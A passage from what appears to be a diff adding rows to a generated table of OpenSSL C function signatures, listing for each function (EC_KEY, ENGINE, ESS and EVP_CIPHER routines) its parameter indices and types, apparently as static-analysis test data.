unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 1 | const unsigned char * | +| (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | size_t | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 0 | EC_KEY * | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 1 | const unsigned char * | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 2 | size_t | +| (EC_KEY *,const unsigned char *,size_t,BN_CTX *) | | EC_KEY_oct2key | 3 | BN_CTX * | +| (EC_KEY *,int) | | EC_KEY_clear_flags | 0 | EC_KEY * | +| (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | int | +| (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 0 | EC_KEY * | +| (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | int | +| (EC_KEY *,int) | | EC_KEY_set_flags | 0 | EC_KEY * | +| (EC_KEY *,int) | | EC_KEY_set_flags | 1 | int | +| (EC_KEY *,point_conversion_form_t) | | EC_KEY_set_conv_form | 0 | EC_KEY * | +| (EC_KEY *,point_conversion_form_t) | | EC_KEY_set_conv_form | 1 | point_conversion_form_t | +| (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 0 | EC_KEY * | +| (EC_KEY *,unsigned int) | | EC_KEY_set_enc_flags | 1 | unsigned int | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_compute_key | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_compute_key | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_keygen | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..)) | | EC_KEY_METHOD_set_keygen | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_verify | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_verify | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_verify | 2 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 2 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_sign | 3 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 0 | EC_KEY_METHOD * | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 1 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 2 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 3 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 4 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 5 | ..(*)(..) | +| (EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EC_KEY_METHOD_set_init | 6 | ..(*)(..) | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GF2m_simple_point_copy | 0 | EC_POINT * | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GF2m_simple_point_copy | 1 | const EC_POINT * | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GFp_simple_point_copy | 0 | EC_POINT * | +| (EC_POINT *,const EC_POINT *) | | ossl_ec_GFp_simple_point_copy | 1 | const EC_POINT * | +| (EC_PRE_COMP *) | | EC_ec_pre_comp_dup | 0 | EC_PRE_COMP * | +| (EC_PRIVATEKEY *) | | EC_PRIVATEKEY_free | 0 | EC_PRIVATEKEY * | +| (EC_PRIVATEKEY **,const unsigned char **,long) | | d2i_EC_PRIVATEKEY | 0 | EC_PRIVATEKEY ** | +| (EC_PRIVATEKEY **,const unsigned char **,long) | | d2i_EC_PRIVATEKEY | 1 | const unsigned char ** | +| (EC_PRIVATEKEY **,const unsigned char **,long) | | d2i_EC_PRIVATEKEY | 2 | long | +| (EDIPARTYNAME *) | | EDIPARTYNAME_free | 0 | EDIPARTYNAME * | +| (EDIPARTYNAME **,const unsigned char **,long) | | d2i_EDIPARTYNAME | 0 | EDIPARTYNAME ** | +| (EDIPARTYNAME **,const unsigned char **,long) | | d2i_EDIPARTYNAME | 1 | const unsigned char ** | +| (EDIPARTYNAME **,const unsigned char **,long) | | d2i_EDIPARTYNAME | 2 | long | +| (ENGINE *) | | DH_new_method | 0 | ENGINE * | +| (ENGINE *) | | DSA_new_method | 0 | ENGINE * | +| (ENGINE *) | | EC_KEY_new_method | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_add | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_get_next | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_get_prev | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_DH | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_DSA | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_EC | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_RAND | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_RSA | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_ciphers | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_digests | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_pkey_asn1_meths | 0 | ENGINE * | +| (ENGINE *) | | ENGINE_unregister_pkey_meths | 0 | ENGINE * | +| (ENGINE *) | | RSA_new_method | 0 | ENGINE * | +| (ENGINE *,ENGINE_CIPHERS_PTR) | | ENGINE_set_ciphers | 0 | ENGINE * | +| (ENGINE *,ENGINE_CIPHERS_PTR) | | ENGINE_set_ciphers | 1 | ENGINE_CIPHERS_PTR | +| (ENGINE *,ENGINE_CTRL_FUNC_PTR) | | ENGINE_set_ctrl_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_CTRL_FUNC_PTR) | | ENGINE_set_ctrl_function | 1 | ENGINE_CTRL_FUNC_PTR | +| (ENGINE *,ENGINE_DIGESTS_PTR) | | ENGINE_set_digests | 0 | ENGINE * | +| (ENGINE *,ENGINE_DIGESTS_PTR) | | ENGINE_set_digests | 1 | ENGINE_DIGESTS_PTR | +| (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 0 | ENGINE * | +| (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 1 | ENGINE_DYNAMIC_ID | +| (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | int | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_destroy_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_destroy_function | 1 | ENGINE_GEN_INT_FUNC_PTR | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_finish_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_finish_function | 1 | ENGINE_GEN_INT_FUNC_PTR | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_init_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_GEN_INT_FUNC_PTR) | | ENGINE_set_init_function | 1 | ENGINE_GEN_INT_FUNC_PTR | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_privkey_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_privkey_function | 1 | ENGINE_LOAD_KEY_PTR | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_pubkey_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_LOAD_KEY_PTR) | | ENGINE_set_load_pubkey_function | 1 | ENGINE_LOAD_KEY_PTR | +| (ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR) | | ENGINE_set_pkey_asn1_meths | 0 | ENGINE * | +| (ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR) | | ENGINE_set_pkey_asn1_meths | 1 | ENGINE_PKEY_ASN1_METHS_PTR | +| (ENGINE *,ENGINE_PKEY_METHS_PTR) | | ENGINE_set_pkey_meths | 0 | ENGINE * | +| (ENGINE *,ENGINE_PKEY_METHS_PTR) | | ENGINE_set_pkey_meths | 1 | ENGINE_PKEY_METHS_PTR | +| (ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR) | | ENGINE_set_load_ssl_client_cert_function | 0 | ENGINE * | +| (ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR) | | ENGINE_set_load_ssl_client_cert_function | 1 | ENGINE_SSL_CLIENT_CERT_PTR | +| (ENGINE *,const DH_METHOD *) | | ENGINE_set_DH | 0 | ENGINE * | +| (ENGINE *,const DH_METHOD *) | | ENGINE_set_DH | 1 | const DH_METHOD * | +| (ENGINE *,const DSA_METHOD *) | | ENGINE_set_DSA | 0 | ENGINE * | +| (ENGINE *,const DSA_METHOD *) | | ENGINE_set_DSA | 1 | const DSA_METHOD * | +| (ENGINE *,const EC_KEY_METHOD *) | | ENGINE_set_EC | 0 | ENGINE * | +| (ENGINE *,const EC_KEY_METHOD *) | | ENGINE_set_EC | 1 | const EC_KEY_METHOD * | +| (ENGINE *,const ENGINE_CMD_DEFN *) | | ENGINE_set_cmd_defns | 0 | ENGINE * | +| (ENGINE *,const ENGINE_CMD_DEFN *) | | ENGINE_set_cmd_defns | 1 | const ENGINE_CMD_DEFN * | +| (ENGINE *,const RAND_METHOD *) | | ENGINE_set_RAND | 0 | ENGINE * | +| (ENGINE *,const RAND_METHOD *) | | ENGINE_set_RAND | 1 | const RAND_METHOD * | +| (ENGINE *,const RSA_METHOD *) | | ENGINE_set_RSA | 0 | ENGINE * | +| (ENGINE *,const RSA_METHOD *) | | ENGINE_set_RSA | 1 | const RSA_METHOD * | +| (ENGINE *,const char *) | | ENGINE_set_id | 0 | ENGINE * | +| (ENGINE *,const char *) | | ENGINE_set_id | 1 | const char * | +| (ENGINE *,const char *) | | ENGINE_set_name | 0 | ENGINE * | +| (ENGINE *,const char *) | | ENGINE_set_name | 1 | const char * | +| (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 0 | ENGINE * | +| (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | const char * | +| (ENGINE *,const char *,const char *) | | make_engine_uri | 0 | ENGINE * | +| (ENGINE *,const char *,const char *) | | make_engine_uri | 1 | const char * | +| (ENGINE *,const char *,const char *) | | make_engine_uri | 2 | const char * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 0 | ENGINE * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 1 | const char * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 2 | const char * | +| (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 3 | int | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 0 | ENGINE * | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 1 | const char * | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 2 | long | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 3 | void * | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 4 | ..(*)(..) | +| (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 5 | int | +| (ENGINE *,int) | | ENGINE_cmd_is_executable | 0 | ENGINE * | +| (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | int | +| (ENGINE *,int) | | ENGINE_set_flags | 0 | ENGINE * | +| (ENGINE *,int) | | ENGINE_set_flags | 1 | int | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 0 | ENGINE * | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 1 | int | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 2 | long | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 3 | void * | +| (ENGINE *,int,long,void *,..(*)(..)) | | ENGINE_ctrl | 4 | ..(*)(..) | +| (ENGINE_TABLE **) | | engine_table_cleanup | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,ENGINE *) | | engine_table_unregister | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,ENGINE *) | | engine_table_unregister | 1 | ENGINE * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 1 | ENGINE_CLEANUP_CB * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 2 | ENGINE * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 3 | const int * | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 4 | int | +| (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 5 | int | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 0 | ENGINE_TABLE ** | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 1 | int | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 2 | const char * | +| (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 3 | int | +| (ESS_CERT_ID *) | | ESS_CERT_ID_free | 0 | ESS_CERT_ID * | +| (ESS_CERT_ID **,const unsigned char **,long) | | d2i_ESS_CERT_ID | 0 | ESS_CERT_ID ** | +| (ESS_CERT_ID **,const unsigned char **,long) | | d2i_ESS_CERT_ID | 1 | const unsigned char ** | +| (ESS_CERT_ID **,const unsigned char **,long) | | d2i_ESS_CERT_ID | 2 | long | +| (ESS_CERT_ID_V2 *) | | ESS_CERT_ID_V2_free | 0 | ESS_CERT_ID_V2 * | +| (ESS_CERT_ID_V2 **,const unsigned char **,long) | | d2i_ESS_CERT_ID_V2 | 0 | ESS_CERT_ID_V2 ** | +| (ESS_CERT_ID_V2 **,const unsigned char **,long) | | d2i_ESS_CERT_ID_V2 | 1 | const unsigned char ** | +| (ESS_CERT_ID_V2 **,const unsigned char **,long) | | d2i_ESS_CERT_ID_V2 | 2 | long | +| (ESS_ISSUER_SERIAL *) | | ESS_ISSUER_SERIAL_free | 0 | ESS_ISSUER_SERIAL * | +| (ESS_ISSUER_SERIAL **,const unsigned char **,long) | | d2i_ESS_ISSUER_SERIAL | 0 | ESS_ISSUER_SERIAL ** | +| (ESS_ISSUER_SERIAL **,const unsigned char **,long) | | d2i_ESS_ISSUER_SERIAL | 1 | const unsigned char ** | +| (ESS_ISSUER_SERIAL **,const unsigned char **,long) | | d2i_ESS_ISSUER_SERIAL | 2 | long | +| (ESS_SIGNING_CERT *) | | ESS_SIGNING_CERT_free | 0 | ESS_SIGNING_CERT * | +| (ESS_SIGNING_CERT **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT | 0 | ESS_SIGNING_CERT ** | +| (ESS_SIGNING_CERT **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT | 1 | const unsigned char ** | +| (ESS_SIGNING_CERT **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT | 2 | long | +| (ESS_SIGNING_CERT_V2 *) | | ESS_SIGNING_CERT_V2_free | 0 | ESS_SIGNING_CERT_V2 * | +| (ESS_SIGNING_CERT_V2 **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT_V2 | 0 | ESS_SIGNING_CERT_V2 ** | +| (ESS_SIGNING_CERT_V2 **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT_V2 | 1 | const unsigned char ** | +| (ESS_SIGNING_CERT_V2 **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT_V2 | 2 | long | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_cleanup | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_cleanup | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_ctrl | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_ctrl | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_do_cipher | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_do_cipher | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_get_asn1_params | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_get_asn1_params | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_init | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_init | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_set_asn1_params | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_set_asn1_params | 1 | ..(*)(..) | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | int | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | int | +| (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | unsigned long | +| (EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_buf_noconst | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get1_cipher | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_iv_noconst | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_param_to_asn1 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_param_to_asn1 | 1 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_set_asn1_iv | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_set_asn1_iv | 1 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *) | | evp_cipher_param_to_asn1_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *) | | evp_cipher_param_to_asn1_ex | 1 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *) | | evp_cipher_param_to_asn1_ex | 2 | evp_cipher_aead_asn1_params * | +| (EVP_CIPHER_CTX *,X509_ALGOR **) | | EVP_CIPHER_CTX_get_algor | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,X509_ALGOR **) | | EVP_CIPHER_CTX_get_algor | 1 | X509_ALGOR ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 2 | ENGINE * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 2 | ENGINE * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 2 | ENGINE * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 5 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 2 | EVP_SKEY * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 4 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 5 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 6 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 4 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 4 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 4 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 4 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 5 | const 